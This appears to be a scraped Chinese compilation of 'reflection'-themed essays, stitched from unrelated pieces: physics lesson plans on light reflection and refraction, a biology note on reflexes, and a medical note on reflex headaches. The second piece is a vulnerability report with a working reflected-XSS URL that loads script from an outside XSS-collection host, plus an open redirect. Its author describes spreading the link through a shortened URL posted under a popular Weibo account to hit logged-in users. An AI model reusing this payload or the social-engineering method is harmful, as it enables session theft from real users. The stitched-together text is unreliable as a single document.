反射性教学范文

反射性教学范文（精选12篇）

反射性教学 第1篇

本教学设计主要涉及以下四个步骤。第一, 教师演示光学小魔术, 激发学生的探究欲望;导入新课, 激发学生的学习兴趣 (魔术揭秘安排在教学末尾, 并提升学生学习下一章节内容的兴趣) 。第二, 概念引入及明确, 指导学生开展“照到小羊”“射击比赛”两个有趣的光学小游戏, 让学生兴趣盎然地探究知识、获取知识。第三, 让学生在游戏的基础上大胆猜想相关规律, 自主设计实验、开展实验验证。第四, 师生总结实验所揭示的规律, 最后教师规范文字表述, 指导作图技巧。另外, 教师不仅要有意识地培养学生的观察能力、合作能力及严谨的科学态度, 而且还要让学生明白科学技术应用到日常生活中的重要意义。具体教学设计如下:

一、教学目标

(一) 知识与技能

(1) 理解光反射的规律, 掌握入射点、法线、入射光线、反射光线、入射角和反射角。

(2) 了解反射现象中光路的可逆性。

(二) 过程与方法

(1) 培养学生的观察、思考能力。

(2) 引导学生独立开展实验设计与探究。

(3) 推动学生分析能力、概括能力、合作能力的提升。

(三) 情感态度与价值观

(1) 倡导严谨的科学态度。

(2) 提升学生将科学技术应用到日常生活中的意识。

二、教学重难点

1.自主探究光的反射规律。

2.独立开展实验设计与探究。

三、教具准备

1.教师:魔盒 (光学魔术玩具) 1个、发光小球1个、玩具小羊1个、挡板1块、平面镜1块、激光笔2支、分光器2个、光路模型1个、光路演示板1块、带有磁铁的靶子6块、展示支架1个。

2.每组学生:玩具小羊1个、挡板1块、平面镜1块、激光笔2支、分光器2个、光路模型1个、光路演示板1块、量角器、刻度尺。

四、教学过程

(一) 创设情境, 激发兴趣

师:同学们, 我们每天用眼睛观察多姿多彩的世界。你有没有想过, 人为什么能看到物体?

教师引导学生相互交流, 先不明确答案, 保持学生的探究兴趣。

师:我手中有个魔盒 (光学魔术玩具, 单面透明的正方形盒子, 里面放一块45°倾斜的平面镜;演示时, 教师先在盒子里放一个会发光的小球) , 请观察后告诉我———你看到了什么?

有的学生认为盒子里有两个发光的小球, 有的学生认为有一个反光小球。教师先不揭秘, 激发学生的探究兴趣, 导入教学主题。

师:魔盒里到底有几个发光小球呢?今天, 就让我们走进光学的世界, 学习《光的反射》。

(二) 组织游戏, 引入概念

1.“照到小羊”游戏

师:这里有一个玩具小羊, 前面有一块挡板, 现在我打开激光笔照射, 能不能隔着挡板照到小羊?如果不能, 需要借助什么工具照到小羊?

学生以小组为单位开展游戏, 动手体验借助平面镜把激光束照到小羊的过程。

师:激光笔绝对不能对着其他同学的眼睛, 以免造成伤害。

游戏过程中, 教师巡视教室, 表扬先完成游戏的小组, 并请他们上台讲解、演示。对于无法顺利完成游戏的小组, 教师积极推动小组间的互帮互助, 直到所有小组成功完成为止。

2.“射击比赛”游戏

师:下面, 我们来一场“射击比赛”。

比赛规则:黑板上粘着6 块有编号的靶子, 编号 (1) ~ (6) 代表各小组射击目标;请同学们相互合作, 借助平面镜把激光笔的光束射向靶心。击中靶心后, 需停留2秒钟以上, 然后关闭激光笔。

教师巡视教室, 请先完成的小组上台演示, 鼓励其他小组继续努力, 并推动小组间的互帮互助。同时进一步激发学生的学习兴趣———学完今天的课程, 同学们就会明白怎样才能射中靶心。

师:射击比赛用到什么原理呢?

把思考引向概念, 组织学生探讨、总结, 明确“光射到物体表面时, 会有一部分光被反射回去, 这种现象被称为光的反射现象”。

师:我们学过用什么方法来表示光的传播路径和方向呢?光线是怎样表示的?光线真实存在吗?

回顾知识点, 引导学生明白“光线”是为了表示光的传播路径、方向而引入的一个概念, 并非真实存在。

教师出示课件, 动画模拟激光射中靶心的过程, 并以动画作图的方式突出细节, 明确光的反射涉及的相关知识, 如入射点、法线、入射光线、反射光线、入射角、反射角等。

教师展示一幅光路图, 引导学生上台总结、巩固光的反射相关知识, 同时重视学生之间的交流、互助。

(三) 大胆猜想, 掌握规律

1.提出问题, 引发思考

引导学生回想“射击比赛”游戏, 学生借助镜子射中靶心的时候, 不是一次就能击中目标, 而是经过多次调整才成功的。说明光在反射的时候, 当入射光的方向确定时, 反射光的方向并不是任意的, 它是有规律可循的。

师:光的反射到底遵循着怎样的规律呢?

2.观察演示, 引导猜想

教师出示光路模型, 引导学生分析模型中三根导线及底板所对应的概念, 鼓励学生借助光路模型大胆猜想。

师:反射光线、入射光线、法线可能会有怎样的位置关系?反射角与入射角有什么关系?

学生小组讨论, 并将各自的猜想写在黑板上。讨论结束后, 各小组派代表上台讲述他们的猜想。

3.操作实验, 验证猜想

师:如何来验证你们的猜想呢?

引导学生明白实验是最好的验证方式, 进入实验操作环节。

教师启发学生利用桌上的器材, 动手开展实验, 小组合作验证猜想。

实验步骤:将光路演示板 (一块带有量角刻度、平面镜的泡沫板) 水平放置在桌面上, 打开激光笔并插入圆筒形的分光器, 激光束对准量角刻度的圆心射向镜面。不断调整入射光的方向, 观察反射光的位置。

学生开展实验, 教师巡视、指导, 提醒学生及时记录实验现象及数据。

师:实验过程中, 你们小组观察到了哪些现象?得出了哪些结论?

各小组派代表讲解实验过程, 汇报实验数据及得出的结论。

4.拓展思维, 补充结论

教师演示, 故意将光路演示板沿法线对折, 学生们发现演示板上的反射光线不见了。

师:反射光线哪去了?

师生互动探究, 通过实验得出“反射光线、入射光线与法线在同一平面”的结论。

(四) 总结交流, 指导作图

师:若给定一条入射光线和一平面镜, 可以用光的反射规律来找到那条反射光线吗?

学生探讨、巩固概念。教师引导学生回顾、总结光的反射规律后, 并指导学生利用规律作图, 讲解作图的步骤。

学生小组合作完成作图题, 教师引导学生上台展示, 并归纳典型错误。师生合作, 总结作图口诀:找点、作垂、量角、画线。

(五) 呼应开头, 布置作业

师:同学们, 让我们揭开魔盒的秘密。

教师打开魔盒的盖子, 让学生观察, 学生会惊奇地发现盒子里面只有一个发光小球。其实, 学生所看到的“另一个”小球, 是发光小球利用了光的反射原理, 通过平面镜所形成的像, 因为盒子里放置着一块45°倾斜的平面镜。

师:同学们, 如果想进一步了解魔盒的原理, 请认真完成下面的作业。

1.预习《平面镜成像》这一节。

2.收集光的反射在生活中的应用实例并与同学交流分享。

五、教学反思

经过公开课、研讨课、优质课等专业研讨平台的检验, 上述探究性实验教学设计大力推动学生探究能力的提升, 教学效果明显。以下, 结合教研组同仁、专家的意见, 对本教学设计展开反思。

(一) 让学生教会学生

实验教学离不开组内学生的合作, 虽然各小组学生的水平、人数基本相当, 但实际操作中必然有某些小组快速成功, 某些小组迟迟没有进展的情况发生。这种情况下, 教师除了亲自点拨指导外, 更好的方法就是推动小组与小组之间的合作, 让小组之间相互促进, 让学生教会学生, 从而更好地体现学生的主体性。

(二) 悬念设置要层层递进

学生的探究激情需要持续的动力, 教师要在教学中分层次安排多个悬念, 努力让学生在整个教学过程都保持探究热情, 尽可能地提升教学效果。本教学设计从问题导入设疑, 魔术演示设疑, 到“照到小羊”“射击比赛”两个游戏的质疑, 最后结合学生实验操作引发多次质疑, 不断提升学生的探究热情。

(三) 合理把握教师引导的尺度

教学离不开教师的引导, 但是教师要合理把握尺度, 显现引导与隐性引导巧妙结合。在学生开展自主探究、实验操作时, 教师不要彰显自身的存在, 着力把探究的主动权留给学生。对于“过入射点O作镜面的垂线, 称为法线, 用字母ON来表示”之类注重标准、规范的知识点, 教师就需要凸显自己的引导作用, 引导学生理解、记忆, 并通过实题演练帮助学生巩固知识。总之, 探究性实验教学虽然高度重视学生自主猜想、合作探究, 但不能忽略教师对规范性、标准性知识的讲授。在突出学生探究能力培养的基础上, 教师要科学、合理地选取教学方法。

摘要：《光的反射》是华师大版《科学》八年级下册第二章第一节内容。日常教学中, 该节内容的呈现往往以演示实验为突破口, 学生先观察实验现象得出结论, 再开展实验进行验证, 教师的主导性较强。探究性实验教学注重学生探究能力的培养, 引导学生大胆猜想、自主设计, 独立开展实验探究。基于此, 立足教学实践, 开展探究性实验教学设计, 并进行针对性反思。

反射性教学 第2篇

丁香园几个小礼包，xss+url跳转

详细说明：

paper.pubmed.cn/do.php?ac=login&rfu=paper.pubmed.cn/ rfu对地址未验证

paper.pubmed.cn/do.php?ac=login&rfu=(可构造任意链接进行跳转)

主要还是说说xss吧，没说明，一个礼包- -剑心还是不给过，这次我还是和上次一样。来一个利用吧。

我选中了www.jobmd.cn/article站点的搜索处的XSS进行测试。

之前提交过，但是没过程未过，这次我想了下，本想选择在论坛处通过发帖的形式传播一下。但是新注册，不能通过邀请，但是又不想手机注册，那怎么办呢?

我忽然想到了一个好的idea，就是通过@fenng的微博作为一个跳板(大辉哥微博是很多人看的哟，因此这里头肯定会有人是登录了丁香园帐号的。)

构造好代码：www.jobmd.cn/Article/search.htm?keywords=%3C%2Ftitle%3E%3Cscript+src%3D%22http%3A%2F%2Fxss.ezsec.org%2F%3Fu%3Df71717%22+%3E%3C%2Fscript%3E&category=-1&action=Search&action_search=

这个时候还是太长了，我们通过url.cn转下，让他变得更加简洁：

url.cn/E273r7

然后通过小微博号发布到fenng的微博评论上，

(带一点儿社工的性质)

危害证明，反射XSS用得好，一样可以造成很大的危害~

还有一处也有xss，顺便也发了，这个也是你们旗下的，还在内测中，好好修复下吧

pubmed.cn/index.php?st=">

st参数没有过滤好。

修复方案：

修复建议：

url跳转:referer的限制下，加入有效性验证Token。

引起反射性头痛的耳鼻喉疾病 第3篇

鼻源性反射性头痛

急、慢性鼻窦炎急性鼻窦炎引起的头痛较剧烈，尤以额窦炎和蝶窦炎的头痛最重，头痛多发生于病变侧，由于脓性分泌物、细菌毒素、肿胀的黏膜，刺激和压迫神经末梢所引起。头痛可呈“真空性”和“张力性”，前者是由于黏膜肿胀引起鼻窦开口堵塞，鼻窦内空气逐渐被吸收所致；后者则是由于“真空”时间过长，黏膜血管扩张、血清漏出或脓汁蓄积，使窦腔压力增高而致。鼻窦炎引起头痛外，还有鼻塞、脓涕，急性鼻窦炎还可有局部红肿、压痛等症状。通过局部检查及x线摄片、CT检查不难诊断。

萎缩性鼻炎由于鼻黏膜萎缩，鼻腔宽大，通气量过大冷空气刺激鼻黏膜引起头痛；另外脓痂形成时填满鼻腔，刺激鼻黏膜或堵塞鼻窦开口形成堵塞性鼻窦炎也会引起头痛。萎缩性鼻炎主要表现为鼻腔宽大，检查时可由前鼻孔直接看到后鼻孔和咽后壁，当晚期继发感染时，鼻腔充满污秽分泌物或脓痂，有特殊臭味。

鼻中隔偏曲偏曲的鼻中隔凸面压迫鼻甲黏膜，可引起同侧反射性头痛。

鼻腔、鼻窦的良性肿瘤鼻腔的良性肿瘤长到足够大时，不但引起鼻塞，亦可压迫鼻甲引起头痛。如堵塞鼻窦开口，可形成阻塞性鼻窦炎或胀满窦腔引起“张力性头痛”。此外，亦可能突出眶内，引起眼球变位和头痛。

耳源性反射性头痛

急性中耳炎急性中耳炎导致中耳分泌物增多，压迫、刺激鼓膜引起同侧头痛，且多较剧烈，呈渐进性耳痛，伴耳鸣、听力下降。可见鼓膜充血、膨隆，如鼓膜穿孔疼痛多减轻或消失。

慢性中耳炎急性发作由于中耳内分泌物增多，反射地引起同侧乳突部、额部和头顶部钝痛。患者有长期反复外耳道流脓、听力下降和鼓膜穿孔三体征。当急性发作时，除疼痛外，耳内分泌物可突然增多或减少、残余鼓膜和鼓室黏膜充血、肿胀，外耳道后上壁可肿胀或下陷。乳突x线摄片和CT可显示病变程度。

咽部疾病

急、慢性鼻咽炎鼻咽炎可以引起头顶及枕部痛，鼻咽部检查可见黏膜充血、有分泌物及干痂等。

茎突过长症过长的茎突刺激神经末梢可引起咽部异物感、同侧咽痛、耳痛等，如压迫到颈内动脉，疼痛可放射至头顶。茎突过长病人，于扁桃体窝内可触到茎突尖，x线茎突正侧位像可见增长的茎突。

反射属于应激性 第4篇

一、概念方面

应激性是指一切活组织或细胞当其周围环境条件迅速改变时, 有发生反应的能力或特性。生理学上将能引起细胞、组织、器官或整体的活动状态发生变化的任何环境变化因子都称为刺激。由刺激而引起的机体活动状态的改变, 称为反应。反射是指生物在中枢神经系统参与下, 机体对外界环境和内部的各种刺激作出的规律性反应。反射的结构基础是反射弧, 其全部结构包括感受器※传入神经※神经中枢※传出神经※效应器。

二、内涵方面

“应激性是对外界刺激的反应, 刺激来自生物体外。”这是片面理解。周围环境包括生物体所处的外界环境和内环境, 高中生物教材中涉及的生物应激性, 只是指由外界环境的刺激引起的反应。外界刺激指光、温度、声音、食物、化学物质、机械运动、地心引力等。如植物对光、肥、水、地心引力等反应表现出的向光性、向肥性、向水性、向地性、背地性等反应, 它属于植物的向性运动, 向性运动是指植物某些器官由于外界环境中单一方向的刺激而产生的运动。是通过激素调节的方式来完成的。还有植物的感性运动, 是指由没有一定方向性的外界刺激 (如光暗转变、触摸等) 所引起的运动, 运动的方向与外界刺激的方向无关。如含羞草的感震性, 含羞草部分小叶受震动时, 小叶迅速成对合拢, 在刺激较强时, 可很快传递到其他部位, 使整个复叶的小叶合拢, 复叶下垂, 甚至使整株植物的复叶下垂。这是由于细胞膨压改变引起的。单细胞生物的应激性没有神经系统, 是通过原生质来完成的, 如草履虫趋向肉汁, 避开食盐水。多细胞动物主要是通过神经系统来完成, 也可通过体液调节来完成。由神经系统参与的反应是发射。按反应的生物学意义将反射分为防御性反射和保护性反射;以获取、摄食与消化为目的的食物反射;与延续种族有关的性反射;由新异刺激物引起的、并表现为警觉和面向该刺激运动的朝向反射和探究反射。可见应激性和反射二者的内涵是相同的。

三、外延方面

应激性涉及一切生物体, 既包括植物也包括原核生物、原生生物、真菌、动物和人, 它是生物的基本特征。反射的外延仅是具有神经系统的人和动物, 比应激性要窄, 但它属于应激性。比如人在不同情况下的眨眼, 无意识眨眼是非条件反射, 但当用针刺眼时的眨眼则是条件反射, 他们同属于应激性。神经系统通过反射活动来控制和调节机体内部的生理过程, 使机体成为一个完整的统一体, 并与外界环境保持紧密的联系和相互平衡。这种当环境条件发生改变时, 机体或其部分组织的机能与结构也将在某种限度内随着发生相应的改变, 以求与所在环境保持动力平衡, 这种现象称为适应。机体的这种能力称为适应性。而生物也是在应激性的基础上形成了适应性。生物越高等, 适应性越强。

四、题例解析

下列生物的生理活动既属于应激性同时又属于反射的是 () 。

A.草履虫避开食盐水

B.植物的茎背地生长

C.雄性极乐鸟在繁殖的季节长出蓬松的长饰羽

D.狗见到主人就摇头摆尾

分析:A草履虫是单细胞原生动物, 没有反射的基础, 对食盐水刺激的反应属于应激性。B是植物的向性运动, 是对重力刺激的反应, 只是应激性。C雄性极乐鸟在繁殖的季节长出蓬松的长饰羽毛是由于性激素水平升高, 这一现象是受性激素控制, 属于体液调节。D狗见到主人, 主人对狗是一个外界刺激, 摇尾巴是狗做出的反应, 这是一个应激过程。同时也是建立在神经系统上的反射, 而且是反射中的条件反射, 反射弧是视网膜-视神经-大脑皮层+脊髓 (中枢换元) -运动神经 (控制尾巴的脊神经) -尾部肌肉。所以选D项。

综上所述, 反射属于应激性的范畴, 是发生在神经系统基础上的应激性。

参考文献

[1]李保兴.应激性与反射关系辨析[J].生物学通报, 2006 (05) .

[2]李合生主编.现代植物生理学[M].北京:高等教育出版社, 2004:317～320.

光的反射教学设计 第5篇

一、设计说明

1.本节课的难点是探索光的反射规律的实验,所以本节课首先为突出这一点而精心设计了一套演示实验器材,便于学生猜想,并引导学生实验。另外还有大量的实验,包括演示实验和学生实验等──实验是最丰富的语言,利用实验帮助学生体验知识的形成过程以及加深知识的理解掌握。

主要实验设计如下: 实验内容

实验类型

主要器材

主要目的说明

射击比赛1 全体学生参与

激光手电、靶子。

复习光的直线传播,引出下个实验

射击比赛2(反射后击中目标)全体学生参与

比上面多一块平面镜

引出光的反射

研究光的反射定律1 全体学生参与

可折叠的纸板,平面镜及激光手电,量角器

精确研究“两角相等”及共面问题

“找眼睛”

全体学生参与

直立的一块较大的平面镜。

引出“光路可逆”

体会通过反射看到眼睛是相互的射击白纸与平面镜

学生参与演示

激光手电、白纸和平面镜

通过光斑的亮暗引出两种反射

幻灯片分别投射到白布和平面镜上

演示

幻灯机,盖有白布的大平面镜充当银幕。

比较两种反射

2.谁都明白,人在竞争中最富激情,本节课就利用学生在自己熟悉的现象范围里展开竞争来充分调动积极性──“兴趣是最好的老师”。

3.光现象生活中随处可见,本节课充分利用实验及多媒体将生活中的物理随手拾来像“光污染”、“黑板反光”等,便于学生理解和应用──“生活是最深刻的实验”。

二、主要创新点

1.实验教具的创新自然是教学改革的一个重要部分。

自制的光的反射实验模型装置如图。中间的空心塑料管长约0.4米,直径约1.5厘米(另两根与它尺寸相同),下用铁丝圈作底座支撑,使之竖直悬起;左右两根安装在长方体木块上,其倾斜角度可通过连接处灵活方便地调节,喷成红色,并可附上箭头以表示光的传播方向;其中一根的上方管口插入一个市面常见的激光棒,可使激光从管中通过射到下面的平面镜上。演示实验时,从一根管口射出的激光,经下方平面镜反射后,通过调节另一根管,使反射的激光再从中射出,于是,三根管便分别代表了入射光线、法线和反射光线,反射现象可形象化,具体化。

2.详略的处理:重点突破 “等角”的问题,学生利用实验器材,分组实验后已无须多言,通过学生的探究可以有很多发现,光的反射定律可以水到渠成。

3.节奏问题:根据学生注意力的特点,合理分布一节课的“闪光点”,是始终吸引住学生的关键。本节课开始部分的射击比赛引题、学生分组实验研究“两线异边”和“两角相等”、中间部分的从镜中相互找眼睛的自由活动(体会光路可逆)、激光枪射击并排的白纸和平面镜、结束部分的“光污染”、幻灯机投出的生动清晰的卡通画在白纸揭开时,从剩下的平面镜上忽然“消失”等等实验和学生活动的合理穿插,使整节课高潮迭起,避免了“龙头蛇尾”现象。

教学目标:(一)知识和技能

●了解光在一些物体表面可以发生反射。

●认识光反射的规律,了解法线、入射角和反射角的含义。

●理解反射现象中光路的可逆性。

●了解什么是镜面反射,什么是漫反射。

●通过观察,理解镜面反射和漫反射的主要差异。(二)过程和方法

●通过实验,观察光的反射现象。

●体验和感悟我们是如何看见不发光的物体的。

●经历探究“光反射时的规律”,用实验的方法获得反射光线、入射光线跟法线位置的关系,测量反射光线与法线、入射光线与法线的夹角,总结探究的结论,获得比较全面探究活动的体验。

(三)情感、态度、价值观

●在探究“光反射时的规律”过程中培养学生的科学态度。

●密切联系实际,提高科学技术应用于日常生活和社会的意识。

●鼓励学生积极参与探究活动。

教学重点:光的反射定律和应用。

教学难点:反射定律中的“三线共面”的理解和两种反射现象的应用。

教学方法: 1.模型演示法:通过模型演示向学生展示清晰、直观的光的反射现象,引导学生带着问题去观察思考、探究归纳总结出光的反射定律。突破性模型装置是帮助学生最直观的解决重、难点问题的关键。

2.竞赛法:充分利用学生的好奇、好胜心理,在课堂上展开竞争,激发兴趣。3.多媒体演示:教学的全过程采用多媒体辅助教学,并引导、归纳教学过程。教学器材:能发出激光的手枪一把,平面镜、白纸板各一,实验报告一生一份、多媒体计算机、实物投影仪等。

教学过程:(一)新课引入(与学生交流)师:学习是快乐的,我们获取知识,去探索、去发现,去揭示大自然的奥秘。应该其乐无穷,让我们快乐的踏上科学探究的旅程。(投影出示:让我们快乐的去探索„„)首先,我们今天来个射击比赛。每个小组选一位代表,用手中的激光手电射击屏幕上的字,每组射击一个字,看哪个组射击得更准?其他同学思考并回答用到了上一节课中我们学到的什么知识?(要先划分好小组)(学生兴趣高涨, 各组很快射准了目标,并回忆起了上节课所学的知识)师:难分高下,都很好。下面再来比赛一场:我要求把激光手电对着桌子上的镜子,最后光斑准确地击中靶心者胜利。

(增加了游戏难度,更加激起了学生的学习欲望,同时让学生认识到光的反射这一现象,并让同学们回忆在生活中还有那些光的反射现象,体现从生活走向物理)师:很好,光的反射现象是很普遍的现象,你想知道光的反射的哪些知识?(学生带着兴趣提出他们的问题)(二)新课教学

师:好,下面我们就用实验的方法来探究光在反射时有什么规律。(激光棒发出激光,射到平面镜上)师:同学们看到光了吗?光看都看不到,我们怎样来找规律呢?(同学们积极的思考讨论,师生共同找办法)师生共同总结:让光从一根管中穿出来,这根管就相当于光线? 师:好,现在看得见了吧(拿出第二根管)。你能让反射光从管中穿出来吗?请位同学上台来做一下? 学生上台操作(学生的初步猜想)师:为了便于观察(为了有一个统一的标准),那我就再加上一条线(拿出第三根管,边说边放)──经过入射点、垂直于反射面的一条直线──我们把它叫做法线。

师:一下子给出了这么多新概念,是不是有点混了?好,我们来一齐梳理梳理。(请同学们各条光线起名字)很美的图案,规律就蕴含在其中了,谁说说看?(鼓励学生大胆质疑,自己提出问题)学生猜想:反射角等于入射角;入射光线和反射光线在发现的两侧,入射光线、法线、反射光线在同一个平面上;反射界随入射角的变大而变大。

(说明:在物理课程中,学生自己在学习中发现问题是至关重要的。当学生提出有价值的问题时教师应该因势利导,让学生知道什么样的问题有价值,这对培养学生发现问题的兴趣,养成提出问题的习惯,都有好处。学生发现并提出问题,是求知的起始,也是教师展开教学的最好开端。抓住这个时机,引导学生尝试着应用实验探究的方法学习知识乃至创新,是帮助学生尽快步入自主性学习轨道的极好途径。这也是重视实验情景设计的价值所在)师:通过上一节课的学习,我们知道物理学是一门以观察和实验为基础的科学,人们的许多物理知识是通过观察和实验,经过认真的思考总结出来的。因此,同学不妨讨论一下,我们能否利用身边的或讲桌上的器材,设计一个实验来证明我们的假设对不对呢? 生:(讨论、设计,开始实验,教师巡回指导)(说明:教师应该因地制宜地引导学生使用身边随手可得的物品进行探究活动和各种物理实验。这样一来,可以拉近物理学与生活的距离,让学生深切地感受到科学的真实性,感受到科学和社会、科学和日常生活的关系。另一方面,由于这些物品本来的用途并不是进行物理实验,所以这种做法本身就是一种创新。不能把低成本实验仅仅看作解决设备不足问题的权宜之计。)实验结束后,请一组同学将上台展示一下你们的实验过程,根据实验,你认为光的反射遵循哪些规律? 生:(上台展示实验过程,并总结得出的结论,下面的学生补充)师生总结并展示课件。师:讨论你的结论和课本上的说法有什么不同?哪一个更合理?为什么? 师: 下面一段时间,请同学们反思一下自己刚才的探究过程,想想有什么优点,有什么不足,怎样进一步改正这些不足?通过刚才的实验你还有那些发现?彼此交流一下自己在探究过程中的心得体会。开始!生:(反思,交流,上台展示,在展示过程中有的组发现了光反射的可逆现象)(说明:如果存在多个结论,教师应引导学生进行深入的归纳与讨论。因为对于多数探究活动来说,探究的过程比探究的结果更重要,所以,在探究活动中不要为了赶进度而在学生还没有进行足够的思考时草率得出结论。为了让学生充分体验探究的过程,应该安排足够的时间让各种想法、各种观点进行充分的交流和讨论。)师:这种逆向传播,我们叫它“光路可逆”。下面,我们做个小游戏──每个同学通过前面的镜子,你看到了谁的眼睛,做完后,同学之间下位交流。

师:好的,请你自学学习资料上的小知识。

请认真阅读以下小资料: 如何根据光的反射规律画出反射光线(1)首先找到入射点,过入射点做反射面的垂线为法线,法线要画成虚线。(2)找出入射角,并量出入射角的大小(3)过入射点和法线做一角,使反射角与入射角相等。(4)在反射方向上标上箭头表示方向。

然后分两组完成光路图,做完后小组间交流,并思考有什么不同。

师:下面我们再来做一个实验(将课件屏幕中的卡通片位置放于一平面镜后,卡通片消失),结合刚才你的作图,请你自学课本加以解释。

师:请大家讨论这样几个问题: 1.假如光线不能够被反射我们的生活将会怎样!2.为加强反射,到处都用平面镜将会怎样?(学生讨论、再一次发散学生的思维,把学生的思维从课堂引向社会,让学生发现生活中光反射的重要性,及光污染现象,便于学生理解和应用──“生活是最深刻的实验”。体现新课标的“情感、态度、价值观”)师:请思考

1.本节课你有哪些收获? 2.你感受最深的一点是什么? 3.你还有哪些问题需要进一步研究? 探究报告

《光的反射和折射》教学设计 第6篇

[关键词] 光的折射 探究 数据处理

一、设计思路

（一）设计思想

本节主要讲光的折射定律和折射率的测定，也是本节的重点和难点。为了突破重点、难点，首先设计学生分小组探究实验，寻找光的折射中定性规律。在探究过程中，引导学生去发现问题，使学生产生探究的动机，从而提出问题、解决问题，培养学生的观察能力，实验能力，最后教师再用excel快速处理数据结果，验证猜想。整个教学过程中，教师是一个引导者和参与者，组织者和帮助者。课堂上教师要组织引导学生交流讨论，充分重视学生在探究过程中的情感、态度与价值观的培养。培养学生对科学的好奇心与求知欲，同时也让学生体验探索自然规律的艰辛与喜悦。

在研究光路可逆时，用2支激光笔同时做实验，在对比中更直观的看到光路可逆。

（二）教材分析

教科书首先回顾了光的反射定律的内容，然后重点突出是光的折射。在这一节里，书上还有测定玻璃砖的折射率的实验，使得这一节容量太大，要分2课时。为了知识的完整性，第一课时内容先设计学生实验：用激光仪和半圆形玻璃砖测出玻璃砖的折射率。

（三）学情分析

光的反射定律和应用学生初中就非常熟悉，所以教师只要简单演示，学生就可回顾出光的反射定律及光路可逆。所以重点在光的折射，对折射率的理解，教师注意光路可逆原理的综合运用，灵活掌握折射率的公式。

二、教学目标

（一）知识与技能

1.认识光的反射及折射现象，知道法线、入射角、折射角的含义。

2.理解折射定律，会利用折射定律解释相关光现象。

3.理解折射率的概念。

（二）过程与方法

本节课成功的关键在于做好实验。通过实验先定性观察再定量测量，引导学生正确测量数据并进行分析、归纳，猜想并用excel工具验证，最后通过例题练习巩固所学内容。

（三）情感、态度与价值观

1.培养学生的观察、概括能力，通过相关物理量变化规律的教学，培养学生分析、推理能力。

2.培养学生的合作交流精神。

3.渗透物理研究和学习的科学态度教育。

三、教学重点：

光的折射定律、折射率概念。

四、教学难点：

光的折射定律和折射率的应用。

五、教学准备

激光仪、大烧杯、铅笔、平面镜、半圆形玻璃砖、学生探究光的折射器材（激光笔、光屏、半圆形玻璃砖），多媒体设备

六、新课教学

（一）新课引入

去年冬天的时候，上海，江苏等地出现了三个太阳，还发现了倒挂的彩虹。新闻都听说了吧。当时好多人疑心天象有变，是不是有什么征兆。这到底是什么原因呢？其实这是一种简单的光学现象。今天，就让我们一起来学习一下光学。先来看一下这张图片，是当时出现3个太阳时所拍，拍下了6个太阳，你用初中学过的知识解释一二吗啊？

【设计意图】利用最近身边发生的光学现象，吸引学生，提高学生的学习兴趣，也让学生懂得学好物理的重要性，因为物理贴近生活。同时也引入课题。

（二）探索过程

1.反射定律

演示：光在到达空气和镜面交界面处时，光被反射回空气中，传播方向发生了改变。

反射现象：光在从一种介质进入另一种介质时，光在到达两张介质的交界面处时，一部分光被反射回原来的介质中，这种现象就光的反射。

由学生回忆、归纳反射定律的内容：三线 共面、两角相等。

学生实验：用两支激光笔观察反射现象中的光路可逆。

【设计意图】这部分比较简单，让实验直观显示反射现象和光路可逆。

2.折射定律

演示实验：光从空气进入玻璃砖表面时，观看光的反射现象。

折射现象：光从一种介质进入另一种介质中，在两种介质的界面处，传播方向发生改变，这种现象叫光的折射。

演示实验：界面、法线交待；入射光线、折射光线交待；入射角折射角交待。

光在折射中会有什么规律可循呢？请大家类比光的反射定律边实验边思考。

分组实验：看折射光和入射光的相对位置及折射角和入射角关系的观察：

【设计意图】让学生带着问题进行实验，这样目的性更强，更有利于发现折射中的规律。

3.学生总结

3.1 让学生观察折射光线、入射光线及界面的法线也是共面的；折射光线、入射光线分居在法线的两侧。

3.2 当光垂直于玻璃界面入射时，入射角为零，此时折射角也为零。（垂直入射时光线不发生偏折。

3.3 当光从空气斜射入玻璃时，入射角增大，折射角也增大，但入射角始终大于折射角。

4.深层探索

那究竟折射角与入射角之间满足什么关系呢？

4.1 自主探索

请同学们定量测量入射角和折射角，并自己设计表格记录好实验数据（建议入射角分别取10° ，20°，30°，40°，50°，60°，70°，80°），猜测两角之间的关系。

学生测量数据，有同学猜测正比，有同学猜测一次函数关系。

教师采用一组同学的数据，输入电脑excel表格中：

【设计意图】在采用学生数据时发现问题，并让其余学生指出问题所在：折射角测量时注意有效数字，根据最小分度，要估读到一位小数点。

nlc202309031807

利用excel中的函数关系，验证正比关系的猜想是否正确：

入射角θ1（度）折射角θ2（度）θ1/θ2

106.51.538

2012.91.550

3019.01.579

4024.81.613

5030.01.667

6034.31.749

7037.81.852

8040.02.000

【设计意图】当出现前3组数据时，学生很兴奋，但看到后面的数据就否定了成正比的猜测。学生亲身体验实验数据要全面，不能取得太集中；利用excel处理猜想结果，省时又方便，同学们切身体会学好计算机的重要性。

用类似的方法，发现一次函数关系也不对。那究竟会是什么关系呢？

4.2 引领探索

学生找不出更好的关系，教师提醒：我们分析数据时一般从最简单的正比反比入手，当然再复杂点就是N次幂的函数，但是经前人研究也都不是。

猜不出并不意味着我们不聪明，因为这个结论的得出经历了1500多年（学生惊愕）。实际上在公元1400年，托勒密也 曾经认为，入射角与折射角存在着简单的正比关系，但只有对比较小的入射角才大致相符，就像我们刚刚在计算中发现的那样。一直到1621年，荷兰数学家斯涅耳在分析了大量数据后终于找到了两者之间的关系，正弦值成正比。

【设计意图】让学生知道科学研究的不易。同时教师抓住教育机会，鼓励学生：在我们的学习中，我们要有百折不挠的精神和坚持就是胜利的毅力。特别在科学研究中，有时需要几代人的共同努力才能得出正确的结论。

4.3 验证演示

用正弦值来处理数据。在演示过程中，教师再用三角函数时，先直接用sin（）函数，但算到30°时学生发现它的sin值不是0.5，一定有误。合理推算excel中，计算机默认的不是角度制，而是弧度制的，所以改用函数sin（radians（））。

【设计意图】用三角函数处理实验数据，对学生有点难度，所以采用教师直接演示的方式。但教师在这里可以故意出错，好让学生发现问题，培养发现问题的能力。另一方面，也让学生体会学好英语的重要性。

表格：用正弦值来处理数据

入射角θ1（度）折射角θ2（度）θ1/θ2sinθ1sinθ2sinθ1/sinθ2

106.51.538 0.174 0.113 1.534

2012.91.550 0.342 0.223 1.532

3019.01.579 0.500 0.326 1.536

4024.81.613 0.643 0.419 1.532

5030.01.667 0.766 0.500 1.532

6034.31.749 0.866 0.564 1.537

7037.81.852 0.940 0.613 1.533

8040.02.000 0.985 0.643 1.532

4.4 探索结论

在实验误差允许范围内，我们认为入射角的正弦与折射角的正弦成正比。即 =常数，这个比值对实验用的玻璃砖来说，大约为1.53。

结合刚才的实验结论，得出光的折射定律

（1）折射光线与入射光线、法线处在同一平面内；

（2）折射光线与入射光线分别位于法线的两侧；

（3）入射角的正弦与折射角的正弦成正比，即 =常数

